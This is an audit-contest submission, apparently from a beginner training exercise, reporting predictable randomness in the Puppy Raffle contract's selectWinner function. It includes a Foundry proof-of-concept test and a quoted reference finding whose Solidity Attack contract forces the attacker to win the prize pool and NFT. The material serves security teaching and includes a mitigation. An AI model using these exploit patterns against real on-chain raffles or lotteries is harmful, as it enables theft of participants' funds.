Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

`selectWinner` is meant to choose a winner unpredictably so no participant can control the outcome

chapma26

Weak on-chain PRNG in selectWinner lets an attacker predict and force the raffle winner

Description

  • selectWinner is meant to choose a winner unpredictably so no participant can control the outcome.

  • The winner index is derived from msg.sender, block.timestamp and block.difficulty — all public and caller/producer-influenced. Because the chain is deterministic, anyone can recompute this expression off-chain and only submit selectWinner in a block where the result favors them.

@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

Risk

Likelihood:

  • When any participant enumerates upcoming timestamps off-chain and calls the permissionless selectWinner only at one that makes them the winner.

  • When a block producer nudges block.timestamp / block.difficulty toward a favorable value.

Impact:

  • An attacker wins the entire prize pool at will.

  • The same seed drives rarity, so an attacker can also force a legendary NFT.

Proof of Concept

function testWeakPrngLetsAttackerWin() public {
address[] memory players = new address[](4);
players[0] = address(1); // attacker
players[1] = address(2);
players[2] = address(3);
players[3] = address(4);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
address attacker = address(1);
uint256 targetIndex = 0;
​
// 1. Enumerate future timestamps off-chain until one makes the attacker win.
uint256 winningTimestamp;
for (uint256 t = block.timestamp; t < block.timestamp + 1000; t++) {
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(attacker, t, block.difficulty))) % 4;
if (winnerIndex == targetIndex) {
winningTimestamp = t;
break;
}
}
​
// 2. Settle at that timestamp — the attacker wins on demand.
vm.warp(winningTimestamp);
vm.prank(attacker);
puppyRaffle.selectWinner();
​
assertEq(puppyRaffle.previousWinner(), attacker);
}

A winning timestamp appears within ~16 seconds of the raffle end; settling at it makes previousWinner == attacker deterministically.

Recommended Mitigation

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Obtain randomness from a verifiable source (e.g. Chainlink VRF) delivered via callback,
+ // or a commit-reveal scheme with deposits/penalties. Never seed randomness from on-chain values.
+ uint256 winnerIndex = verifiedRandomWord % players.length;

Do not use block.timestamp, block.difficulty/prevrandao, blockhash, or msg.sender as a randomness seed.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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